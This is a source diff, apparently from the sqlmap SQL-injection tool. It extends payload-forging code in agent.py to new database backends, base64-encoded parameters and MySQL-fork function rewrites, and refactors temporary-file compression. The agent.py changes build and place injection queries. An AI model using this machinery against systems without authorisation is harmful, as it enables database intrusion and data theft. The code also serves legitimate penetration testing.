+from lib.core.settings import CRATEDB_ALIASES
+from lib.core.settings import CUBRID_ALIASES
+from lib.core.settings import DB2_ALIASES
+from lib.core.settings import DERBY_ALIASES
+from lib.core.settings import EXTREMEDB_ALIASES
+from lib.core.settings import FIREBIRD_ALIASES
+from lib.core.settings import FRONTBASE_ALIASES
+from lib.core.settings import H2_ALIASES
+from lib.core.settings import HSQLDB_ALIASES
+from lib.core.settings import INFORMIX_ALIASES
+from lib.core.settings import MAXDB_ALIASES
+from lib.core.settings import MCKOI_ALIASES
+from lib.core.settings import MIMERSQL_ALIASES
+from lib.core.settings import MONETDB_ALIASES
 from lib.core.settings import MSSQL_ALIASES
 from lib.core.settings import MYSQL_ALIASES
 from lib.core.settings import ORACLE_ALIASES
 from lib.core.settings import PGSQL_ALIASES
+from lib.core.settings import PRESTO_ALIASES
 from lib.core.settings import SQLITE_ALIASES
-from lib.core.settings import ACCESS_ALIASES
-from lib.core.settings import FIREBIRD_ALIASES
-from lib.core.settings import MAXDB_ALIASES
 from lib.core.settings import SYBASE_ALIASES
-from lib.core.settings import DB2_ALIASES
-from lib.core.settings import HSQLDB_ALIASES
-from lib.core.settings import H2_ALIASES
-from lib.core.settings import INFORMIX_ALIASES
+from lib.core.settings import VERTICA_ALIASES
 from lib.utils.sqlalchemy import SQLAlchemy
 
-from plugins.dbms.mssqlserver import MSSQLServerMap
-from plugins.dbms.mssqlserver.connector import Connector as MSSQLServerConn
-from plugins.dbms.mysql import MySQLMap
-from plugins.dbms.mysql.connector import Connector as MySQLConn
-from plugins.dbms.oracle import OracleMap
-from plugins.dbms.oracle.connector import Connector as OracleConn
-from plugins.dbms.postgresql import PostgreSQLMap
-from plugins.dbms.postgresql.connector import Connector as PostgreSQLConn
-from plugins.dbms.sqlite import SQLiteMap
-from plugins.dbms.sqlite.connector import Connector as SQLiteConn
-from plugins.dbms.access import AccessMap
 from plugins.dbms.access.connector import Connector as AccessConn
-from plugins.dbms.firebird import FirebirdMap
-from plugins.dbms.firebird.connector import Connector as FirebirdConn
-from plugins.dbms.maxdb import MaxDBMap
-from plugins.dbms.maxdb.connector import Connector as MaxDBConn
-from plugins.dbms.sybase import SybaseMap
-from plugins.dbms.sybase.connector import Connector as SybaseConn
-from plugins.dbms.db2 import DB2Map
+from plugins.dbms.access import AccessMap
+from plugins.dbms.altibase.connector import Connector as AltibaseConn
+from plugins.dbms.altibase import AltibaseMap
+from plugins.dbms.cache.connector import Connector as CacheConn
+from plugins.dbms.cache import CacheMap
+from plugins.dbms.cratedb.connector import Connector as CrateDBConn
+from plugins.dbms.cratedb import CrateDBMap
+from plugins.dbms.cubrid.connector import Connector as CubridConn
+from plugins.dbms.cubrid import CubridMap
 from plugins.dbms.db2.connector import Connector as DB2Conn
-from plugins.dbms.hsqldb import HSQLDBMap
-from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn
-from plugins.dbms.h2 import H2Map
+from plugins.dbms.db2 import DB2Map
+from plugins.dbms.derby.connector import Connector as DerbyConn
+from plugins.dbms.derby import DerbyMap
+from plugins.dbms.extremedb.connector import Connector as ExtremeDBConn
+from plugins.dbms.extremedb import ExtremeDBMap
+from plugins.dbms.firebird.connector import Connector as FirebirdConn
+from plugins.dbms.firebird import FirebirdMap
+from plugins.dbms.frontbase.connector import Connector as FrontBaseConn
+from plugins.dbms.frontbase import FrontBaseMap
 from plugins.dbms.h2.connector import Connector as H2Conn
-from plugins.dbms.informix import InformixMap
+from plugins.dbms.h2 import H2Map
+from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn
+from plugins.dbms.hsqldb import HSQLDBMap
 from plugins.dbms.informix.connector import Connector as InformixConn
+from plugins.dbms.informix import InformixMap
+from plugins.dbms.maxdb.connector import Connector as MaxDBConn
+from plugins.dbms.maxdb import MaxDBMap
+from plugins.dbms.mckoi.connector import Connector as MckoiConn
+from plugins.dbms.mckoi import MckoiMap
+from plugins.dbms.mimersql.connector import Connector as MimerSQLConn
+from plugins.dbms.mimersql import MimerSQLMap
+from plugins.dbms.monetdb.connector import Connector as MonetDBConn
+from plugins.dbms.monetdb import MonetDBMap
+from plugins.dbms.mssqlserver.connector import Connector as MSSQLServerConn
+from plugins.dbms.mssqlserver import MSSQLServerMap
+from plugins.dbms.mysql.connector import Connector as MySQLConn
+from plugins.dbms.mysql import MySQLMap
+from plugins.dbms.oracle.connector import Connector as OracleConn
+from plugins.dbms.oracle import OracleMap
+from plugins.dbms.postgresql.connector import Connector as PostgreSQLConn
+from plugins.dbms.postgresql import PostgreSQLMap
+from plugins.dbms.presto.connector import Connector as PrestoConn
+from plugins.dbms.presto import PrestoMap
+from plugins.dbms.sqlite.connector import Connector as SQLiteConn
+from plugins.dbms.sqlite import SQLiteMap
+from plugins.dbms.sybase.connector import Connector as SybaseConn
+from plugins.dbms.sybase import SybaseMap
+from plugins.dbms.vertica.connector import Connector as VerticaConn
+from plugins.dbms.vertica import VerticaMap
 
 def setHandler():
     """
@@ -73,6 +109,18 @@ def setHandler():
         (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
         (DBMS.H2, H2_ALIASES, H2Map, H2Conn),
         (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
+        (DBMS.MONETDB, MONETDB_ALIASES, MonetDBMap, MonetDBConn),
+        (DBMS.DERBY, DERBY_ALIASES, DerbyMap, DerbyConn),
+        (DBMS.VERTICA, VERTICA_ALIASES, VerticaMap, VerticaConn),
+        (DBMS.MCKOI, MCKOI_ALIASES, MckoiMap, MckoiConn),
+        (DBMS.PRESTO, PRESTO_ALIASES, PrestoMap, PrestoConn),
+        (DBMS.ALTIBASE, ALTIBASE_ALIASES, AltibaseMap, AltibaseConn),
+        (DBMS.MIMERSQL, MIMERSQL_ALIASES, MimerSQLMap, MimerSQLConn),
+        (DBMS.CRATEDB, CRATEDB_ALIASES, CrateDBMap, CrateDBConn),
+        (DBMS.CUBRID, CUBRID_ALIASES, CubridMap, CubridConn),
+        (DBMS.CACHE, CACHE_ALIASES, CacheMap, CacheConn),
+        (DBMS.EXTREMEDB, EXTREMEDB_ALIASES, ExtremeDBMap, ExtremeDBConn),
+        (DBMS.FRONTBASE, FRONTBASE_ALIASES, FrontBaseMap, FrontBaseConn),
     ]
 
     _ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items)

lib/core/agent.py

@@ -13,6 +13,7 @@ from lib.core.common import filterNone
 from lib.core.common import getSQLSnippet
 from lib.core.common import getTechnique
 from lib.core.common import getTechniqueData
+from lib.core.common import hashDBRetrieve
 from lib.core.common import isDBMSVersionAtLeast
 from lib.core.common import isNumber
 from lib.core.common import isTechniqueAvailable
@@ -34,16 +35,20 @@ from lib.core.data import queries
 from lib.core.dicts import DUMP_DATA_PREPROCESS
 from lib.core.dicts import FROM_DUMMY_TABLE
 from lib.core.enums import DBMS
+from lib.core.enums import FORK
+from lib.core.enums import HASHDB_KEYS
 from lib.core.enums import HTTP_HEADER
 from lib.core.enums import PAYLOAD
 from lib.core.enums import PLACE
 from lib.core.enums import POST_HINT
 from lib.core.exception import SqlmapNoneDataException
+from lib.core.settings import BOUNDED_BASE64_MARKER
 from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
 from lib.core.settings import BOUNDED_INJECTION_MARKER
 from lib.core.settings import DEFAULT_COOKIE_DELIMITER
 from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import GENERIC_SQL_COMMENT
+from lib.core.settings import GENERIC_SQL_COMMENT_MARKER
 from lib.core.settings import INFERENCE_MARKER
 from lib.core.settings import NULL
 from lib.core.settings import PAYLOAD_DELIMITER
@@ -106,6 +111,7 @@ class Agent(object):
         paramDict = conf.paramDict[place]
         origValue = getUnicode(paramDict[parameter])
         newValue = getUnicode(newValue) if newValue else newValue
+        base64Encoding = re.sub(r" \(.+", "", parameter) in conf.base64Parameter
 
         if place == PLACE.URI or BOUNDED_INJECTION_MARKER in origValue:
             paramString = origValue
@@ -167,28 +173,47 @@ class Agent(object):
 
             newValue = "%s%s" % (value, newValue)
 
-        newValue = self.cleanupPayload(newValue, origValue)
+        newValue = self.cleanupPayload(newValue, origValue) or ""
+
+        if base64Encoding:
+            _newValue = newValue
+            _origValue = origValue
+
+            if newValue:
+                newValue = newValue.replace(BOUNDARY_BACKSLASH_MARKER, '\\')
+                newValue = self.adjustLateValues(newValue)
 
-        if re.sub(r" \(.+", "", parameter) in conf.base64Parameter:
             # TODO: support for POST_HINT
-            newValue = encodeBase64(newValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
-            origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
+            newValue = "%s%s%s" % (BOUNDED_BASE64_MARKER, newValue, BOUNDED_BASE64_MARKER)
+
+            if parameter in kb.base64Originals:
+                origValue = kb.base64Originals[parameter]
+            else:
+                origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
 
         if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
             _ = "%s%s" % (origValue, kb.customInjectionMark)
 
             if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and '"%s"' % _ not in paramString:
                 newValue = '"%s"' % self.addPayloadDelimiters(newValue)
-            elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and "'%s'" % _ not in paramString:
+            elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and re.search(r"['\"]%s['\"]" % re.escape(_), paramString) is None:
                 newValue = "'%s'" % self.addPayloadDelimiters(newValue)
             else:
                 newValue = self.addPayloadDelimiters(newValue)
 
-            newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER)
-            retVal = paramString.replace(_, newValue)
+            if newValue:
+                newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER)
+                retVal = paramString.replace(_, newValue)
+
             retVal = retVal.replace(kb.customInjectionMark, "").replace(REPLACEMENT_MARKER, kb.customInjectionMark)
         elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
-            retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue))
+            if base64Encoding:
+                retVal = paramString.replace("%s%s" % (_origValue, BOUNDED_INJECTION_MARKER), _newValue)
+                match = re.search(r"(%s)=([^&]*)" % re.sub(r" \(.+", "", parameter), retVal)
+                if match:
+                    retVal = retVal.replace(match.group(0), "%s=%s" % (match.group(1), encodeBase64(match.group(2), binary=False, encoding=conf.encoding or UNICODE_ENCODING)))
+            else:
+                retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue))
         elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
             retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue))
         else:
@@ -294,8 +319,9 @@ class Agent(object):
             where = getTechniqueData().where if where is None else where
             comment = getTechniqueData().comment if comment is None else comment
 
-        if Backend.getIdentifiedDbms() == DBMS.ACCESS and any((comment or "").startswith(_) for _ in ("--", "[GENERIC_SQL_COMMENT]")):
-            comment = queries[DBMS.ACCESS].comment.query
+        if any((comment or "").startswith(_) for _ in ("--", GENERIC_SQL_COMMENT_MARKER)):
+            if Backend.getIdentifiedDbms() and not GENERIC_SQL_COMMENT.startswith(queries[Backend.getIdentifiedDbms()].comment.query):
+                comment = queries[Backend.getIdentifiedDbms()].comment.query
 
         if comment is not None:
             expression += comment
@@ -372,6 +398,10 @@ class Agent(object):
         """
 
         if payload:
+            for match in re.finditer(r"%s(.*?)%s" % (BOUNDED_BASE64_MARKER, BOUNDED_BASE64_MARKER), payload):
+                _ = encodeBase64(match.group(1), binary=False, encoding=conf.encoding or UNICODE_ENCODING, safe=conf.base64Safe)
+                payload = payload.replace(match.group(0), _)
+
             payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec))
             payload = payload.replace(SINGLE_QUOTE_MARKER, "'")
 
@@ -381,6 +411,11 @@ class Agent(object):
             for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)):
                 payload = payload.replace(_, randomStr())
 
+            if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) in (FORK.MEMSQL, FORK.TIDB, FORK.DRIZZLE):
+                payload = re.sub(r"(?i)\bORD\(", "ASCII(", payload)
+                payload = re.sub(r"(?i)\bMID\(", "SUBSTR(", payload)
+                payload = re.sub(r"(?i)\bNCHAR\b", "CHAR", payload)
+
         return payload
 
     def getComment(self, request):
@@ -398,7 +433,7 @@ class Agent(object):
         rootQuery = queries[Backend.getIdentifiedDbms()]
         hexField = field
 
-        if "hex" in rootQuery:
+        if "hex" in rootQuery and hasattr(rootQuery.hex, "query"):
             hexField = rootQuery.hex.query % field
         else:
             warnMsg = "switch '--hex' is currently not supported on DBMS '%s'" % Backend.getIdentifiedDbms()
@@ -436,9 +471,15 @@ class Agent(object):
         @rtype: C{str}
         """
 
+        match = re.search(r"(?i)(.+)( AS \w+)\Z", field)
+        if match:
+            field, suffix = match.groups()
+        else:
+            suffix = ""
+
         nulledCastedField = field
 
-        if field:
+        if field and Backend.getIdentifiedDbms():
             rootQuery = queries[Backend.getIdentifiedDbms()]
 
             if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast:
@@ -446,7 +487,7 @@ class Agent(object):
             else:
                 if not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')):
                     nulledCastedField = rootQuery.cast.query % field
-                if Backend.getIdentifiedDbms() in (DBMS.ACCESS,):
+                if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI):
                     nulledCastedField = rootQuery.isnull.query % (nulledCastedField, nulledCastedField)
                 else:
                     nulledCastedField = rootQuery.isnull.query % nulledCastedField
@@ -455,6 +496,12 @@ class Agent(object):
             if conf.hexConvert or kb.binaryField:
                 nulledCastedField = self.hexConvertField(nulledCastedField)
 
+        if suffix:
+            nulledCastedField += suffix
+
+        if not kb.nchar:
+            nulledCastedField = re.sub(r"( AS )N(CHAR|VARCHAR)", r"\g<1>\g<2>", nulledCastedField)
+
         return nulledCastedField
 
     def nullCastConcatFields(self, fields):
@@ -498,6 +545,7 @@ class Agent(object):
             nulledCastedFields = []
 
             for field in fieldsSplitted:
+                field = re.sub(r"(?i) AS \w+\Z", "", field)         # NOTE: fields such as "... AS type_name" have to be stripped from the alias part for this functionality to work
                 nulledCastedFields.append(self.nullAndCastField(field))
 
             delimiterStr = "%s'%s'%s" % (dbmsDelimiter, kb.chars.delimiter, dbmsDelimiter)
@@ -523,7 +571,7 @@ class Agent(object):
         """
 
         prefixRegex = r"(?:\s+(?:FIRST|SKIP|LIMIT(?: \d+)?)\s+\d+)*"
-        fieldsSelectTop = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
+        fieldsSelectTop = re.search(r"\ASELECT\s+TOP(\s+[\d]|\s*\([^)]+\))\s+(.+?)\s+FROM", query, re.I)
         fieldsSelectRownum = re.search(r"\ASELECT\s+([^()]+?),\s*ROWNUM AS LIMIT FROM", query, re.I)
         fieldsSelectDistinct = re.search(r"\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM" % prefixRegex, query, re.I)
         fieldsSelectCase = re.search(r"\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, query, re.I)
@@ -548,7 +596,7 @@ class Agent(object):
             if fieldsSelect:
                 fieldsToCastStr = fieldsSelect.group(1)
         elif fieldsSelectTop:
-            fieldsToCastStr = fieldsSelectTop.group(1)
+            fieldsToCastStr = fieldsSelectTop.group(2)
         elif fieldsSelectRownum:
             fieldsToCastStr = fieldsSelectRownum.group(1)
         elif fieldsSelectDistinct:
@@ -648,7 +696,7 @@ class Agent(object):
             elif fieldsNoSelect:
                 concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
 
-        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2):
+        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE):
             if fieldsExists:
                 concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
                 concatenatedQuery += "||'%s'" % kb.chars.stop
@@ -671,8 +719,8 @@ class Agent(object):
                 concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
                 concatenatedQuery += "+'%s'" % kb.chars.stop
             elif fieldsSelectTop:
-                topNum = re.search(r"\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1)
-                concatenatedQuery = concatenatedQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, kb.chars.start), 1)
+                topNum = re.search(r"\ASELECT\s+TOP(\s+[\d]|\s*\([^)]+\))\s+", concatenatedQuery, re.I).group(1)
+                concatenatedQuery = concatenatedQuery.replace("SELECT TOP%s " % topNum, "TOP%s '%s'+" % (topNum, kb.chars.start), 1)
                 concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.chars.stop, 1)
             elif fieldsSelectCase:
                 concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
@@ -708,15 +756,36 @@ class Agent(object):
             warnMsg = "applying generic concatenation (CONCAT)"
             singleTimeWarnMessage(warnMsg)
 
+            if FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms()):
+                _ = re.sub(r"(?i)%s\Z" % re.escape(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]), "", concatenatedQuery)
+                if _ != concatenatedQuery:
+                    concatenatedQuery = _
+                    fieldsSelectFrom = None
+
             if fieldsExists:
                 concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
                 concatenatedQuery += "),'%s')" % kb.chars.stop
             elif fieldsSelectCase:
                 concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
                 concatenatedQuery += "),'%s')" % kb.chars.stop
-            elif fieldsSelectFrom:
+            elif fieldsSelectFrom or fieldsSelect:
+                fromTable = ""
+
                 _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
-                concatenatedQuery = "%s),'%s')%s" % (concatenatedQuery[:_].replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1), kb.chars.stop, concatenatedQuery[_:])
+                if _:
+                    concatenatedQuery, fromTable = concatenatedQuery[:_], concatenatedQuery[_:]
+
+                concatenatedQuery = re.sub(r"(?i)\ASELECT ", "", concatenatedQuery)
+                replacement = "'%s',%s,'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
+                chars = [_ for _ in replacement]
+
+                count = 0
+                for index in zeroDepthSearch(replacement, ',')[1:]:
+                    chars[index] = "),"
+                    count += 1
+
+                replacement = "CONCAT(%s%s)" % ("CONCAT(" * count, "".join(chars))
+                concatenatedQuery = "%s%s" % (replacement, fromTable)
             elif fieldsSelect:
                 concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
                 concatenatedQuery += "),'%s')" % kb.chars.stop
@@ -937,10 +1006,33 @@ class Agent(object):
         fromFrom = limitedQuery[fromIndex + 1:]
         orderBy = None
 
-        if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2):
+        if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.EXTREMEDB):
             limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
             limitedQuery += " %s" % limitStr
 
+        elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE,):
+            limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, 1)
+            limitedQuery += " %s" % limitStr
+
+        elif Backend.getIdentifiedDbms() in (DBMS.DERBY, DBMS.CRATEDB):
+            limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num)
+            limitedQuery += " %s" % limitStr
+
+        elif Backend.getIdentifiedDbms() in (DBMS.FRONTBASE,):
+            limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
+            if query.startswith("SELECT "):
+                limitedQuery = query.replace("SELECT ", "SELECT %s " % limitStr, 1)
+
+        elif Backend.getIdentifiedDbms() in (DBMS.MONETDB,):
+            if query.startswith("SELECT ") and field is not None and field in query:
+                original = query.split("SELECT ", 1)[1].split(" FROM", 1)[0]
+                for part in original.split(','):
+                    if re.search(r"\b%s\b" % re.escape(field), part):
+                        _ = re.sub(r"SELECT.+?FROM", "SELECT %s AS z,row_number() over() AS y FROM" % part, query, 1)
+                        replacement = "SELECT x.z FROM (%s)x WHERE x.y-1=%d" % (_, num)
+                        limitedQuery = replacement
+                        break
+
         elif Backend.isDbms(DBMS.HSQLDB):
             match = re.search(r"ORDER BY [^ ]+", limitedQuery)
             if match:
@@ -959,6 +1051,15 @@ class Agent(object):
                 if match:
                     orderBy = " ORDER BY %s" % match.group(1)
 
+        elif Backend.isDbms(DBMS.CACHE):
+            match = re.search(r"ORDER BY ([^ ]+)\Z", limitedQuery)
+            if match:
+                limitedQuery = re.sub(r"\s*%s\s*" % re.escape(match.group(0)), " ", limitedQuery).strip()
+                orderBy = " %s" % match.group(0)
+                field = match.group(1)
+
+            limitedQuery = queries[Backend.getIdentifiedDbms()].limit.query % (1, field, limitedQuery, num)
+
         elif Backend.isDbms(DBMS.FIREBIRD):
             limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, num + 1)
             limitedQuery += " %s" % limitStr
@@ -1036,12 +1137,15 @@ class Agent(object):
     def forgeQueryOutputLength(self, expression):
         lengthQuery = queries[Backend.getIdentifiedDbms()].length.query
         select = re.search(r"\ASELECT\s+", expression, re.I)
+        selectFrom = re.search(r"\ASELECT\s+(.+)\s+FROM\s+(.+)", expression, re.I)
         selectTopExpr = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
         selectMinMaxExpr = re.search(r"\ASELECT\s+(MIN|MAX)\(.+?\)\s+FROM", expression, re.I)
 
         _, _, _, _, _, _, fieldsStr, _ = self.getFields(expression)
 
-        if selectTopExpr or selectMinMaxExpr:
+        if Backend.getIdentifiedDbms() in (DBMS.MCKOI,) and selectFrom:
+            lengthExpr = "SELECT %s FROM %s" % (lengthQuery % selectFrom.group(1), selectFrom.group(2))
+        elif selectTopExpr or selectMinMaxExpr:
             lengthExpr = lengthQuery % ("(%s)" % expression)
         elif select:
             lengthExpr = expression.replace(fieldsStr, lengthQuery % fieldsStr, 1)
@@ -1115,12 +1219,15 @@ class Agent(object):
 
     def whereQuery(self, query):
         if conf.dumpWhere and query:
-            match = re.search(r" (LIMIT|ORDER).+", query, re.I)
-            if match:
-                suffix = match.group(0)
-                prefix = query[:-len(suffix)]
+            if Backend.isDbms(DBMS.ORACLE) and re.search(r"qq ORDER BY \w+\)", query, re.I) is not None:
+                prefix, suffix = re.sub(r"(?i)(qq)( ORDER BY \w+\))", r"\g<1> WHERE %s\g<2>" % conf.dumpWhere, query), ""
             else:
-                prefix, suffix = query, ""
+                match = re.search(r" (LIMIT|ORDER).+", query, re.I)
+                if match:
+                    suffix = match.group(0)
+                    prefix = query[:-len(suffix)]
+                else:
+                    prefix, suffix = query, ""
 
             if conf.tbl and "%s)" % conf.tbl.upper() in prefix.upper():
                 prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix)
@@ -1130,7 +1237,7 @@ class Agent(object):
                 prefix += " WHERE %s" % conf.dumpWhere
 
             query = prefix
-            if suffix:
+            if suffix and not all(re.search(r"ORDER BY", _, re.I) is not None for _ in (query, suffix)):
                 query += suffix
 
         return query

lib/core/bigarray.py

@@ -10,11 +10,11 @@ try:
 except:
     import pickle
 
-import bz2
 import itertools
 import os
 import sys
 import tempfile
+import zlib
 
 from lib.core.compat import xrange
 from lib.core.enums import MKSTEMP_PREFIX
@@ -24,17 +24,17 @@ from lib.core.settings import BIGARRAY_COMPRESS_LEVEL
 
 DEFAULT_SIZE_OF = sys.getsizeof(object())
 
-def _size_of(object_):
+def _size_of(instance):
     """
-    Returns total size of a given object_ (in bytes)
+    Returns total size of a given instance / object (in bytes)
     """
 
-    retval = sys.getsizeof(object_, DEFAULT_SIZE_OF)
+    retval = sys.getsizeof(instance, DEFAULT_SIZE_OF)
 
-    if isinstance(object_, dict):
-        retval += sum(_size_of(_) for _ in itertools.chain.from_iterable(object_.items()))
-    elif hasattr(object_, "__iter__"):
-        retval += sum(_size_of(_) for _ in object_ if _ != object_)
+    if isinstance(instance, dict):
+        retval += sum(_size_of(_) for _ in itertools.chain.from_iterable(instance.items()))
+    elif hasattr(instance, "__iter__"):
+        retval += sum(_size_of(_) for _ in instance if _ != instance)
 
     return retval
 
@@ -54,8 +54,8 @@ class BigArray(list):
 
     >>> _ = BigArray(xrange(100000))
     >>> _[20] = 0
-    >>> _[100]
-    100
+    >>> _[99999]
+    99999
     """
 
     def __init__(self, items=None):
@@ -92,7 +92,7 @@ class BigArray(list):
             self.chunks.pop()
             try:
                 with open(self.chunks[-1], "rb") as f:
-                    self.chunks[-1] = pickle.loads(bz2.decompress(f.read()))
+                    self.chunks[-1] = pickle.loads(zlib.decompress(f.read()))
             except IOError as ex:
                 errMsg = "exception occurred while retrieving data "
                 errMsg += "from a temporary file ('%s')" % ex
@@ -113,7 +113,7 @@ class BigArray(list):
             self.filenames.add(filename)
             os.close(handle)
             with open(filename, "w+b") as f:
-                f.write(bz2.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL))
+                f.write(zlib.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL))
             return filename
         except (OSError, IOError) as ex:
             errMsg = "exception occurred while storing data "
@@ -131,7 +131,7 @@ class BigArray(list):
         if not (self.cache and self.cache.index == index):
             try:
                 with open(self.chunks[index], "rb") as f:
-                    self.cache = Cache(index, pickle.loads(bz2.decompress(f.read())), False)
+                    self.cache = Cache(index, pickle.loads(zlib.decompress(f.read())), False)
             except Exception as ex:
                 errMsg = "exception occurred while retrieving data "
                 errMsg += "from a temporary file ('%s')" % ex

lib/core/common.py

@@ -40,7 +40,6 @@ import unicodedata
 from difflib import SequenceMatcher
 from math import sqrt
 from optparse import OptionValueError
-from xml.dom import minidom
 from xml.sax import parse
 from xml.sax import SAXParseException
 
@@ -59,6 +58,7 @@ from lib.core.convert import getText
 from lib.core.convert import getUnicode
 from lib.core.convert import htmlUnescape
 from lib.core.convert import stdoutEncode
+from lib.core.data import cmdLineOptions
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
@@ -76,6 +76,7 @@ from lib.core.enums import CHARSET_TYPE
 from lib.core.enums import CONTENT_STATUS
 from lib.core.enums import DBMS
 from lib.core.enums import EXPECTED
+from lib.core.enums import HASHDB_KEYS
 from lib.core.enums import HEURISTIC_TEST
 from lib.core.enums import HTTP_HEADER
 from lib.core.enums import HTTPMETHOD
@@ -116,6 +117,7 @@ from lib.core.settings import DEFAULT_COOKIE_DELIMITER
 from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import DEFAULT_MSSQL_SCHEMA
 from lib.core.settings import DEV_EMAIL_ADDRESS
+from lib.core.settings import DOLLAR_MARKER
 from lib.core.settings import DUMMY_USER_INJECTION
 from lib.core.settings import DYNAMICITY_BOUNDARY_LENGTH
 from lib.core.settings import ERROR_PARSING_REGEXES
@@ -139,6 +141,7 @@ from lib.core.settings import IS_TTY
 from lib.core.settings import IS_WIN
 from lib.core.settings import LARGE_OUTPUT_THRESHOLD
 from lib.core.settings import LOCALHOST
+from lib.core.settings import MAX_INT
 from lib.core.settings import MIN_ENCODED_LEN_CHECK
 from lib.core.settings import MIN_ERROR_PARSING_NON_WRITING_RATIO
 from lib.core.settings import MIN_TIME_RESPONSES
@@ -147,6 +150,7 @@ from lib.core.settings import NETSCAPE_FORMAT_HEADER_COOKIES
 from lib.core.settings import NULL
 from lib.core.settings import PARAMETER_AMP_MARKER
 from lib.core.settings import PARAMETER_SEMICOLON_MARKER
+from lib.core.settings import PARAMETER_PERCENTAGE_MARKER
 from lib.core.settings import PARTIAL_HEX_VALUE_MARKER
 from lib.core.settings import PARTIAL_VALUE_MARKER
 from lib.core.settings import PAYLOAD_DELIMITER
@@ -211,7 +215,7 @@ class UnicodeRawConfigParser(_configparser.RawConfigParser):
             fp.write("[%s]\n" % _configparser.DEFAULTSECT)
 
             for (key, value) in self._defaults.items():
-                fp.write("%s = %s\n" % (key, getUnicode(value, UNICODE_ENCODING).replace('\n', '\n\t')))
+                fp.write("\t%s = %s" % (key, getUnicode(value, UNICODE_ENCODING)))
 
             fp.write("\n")
 
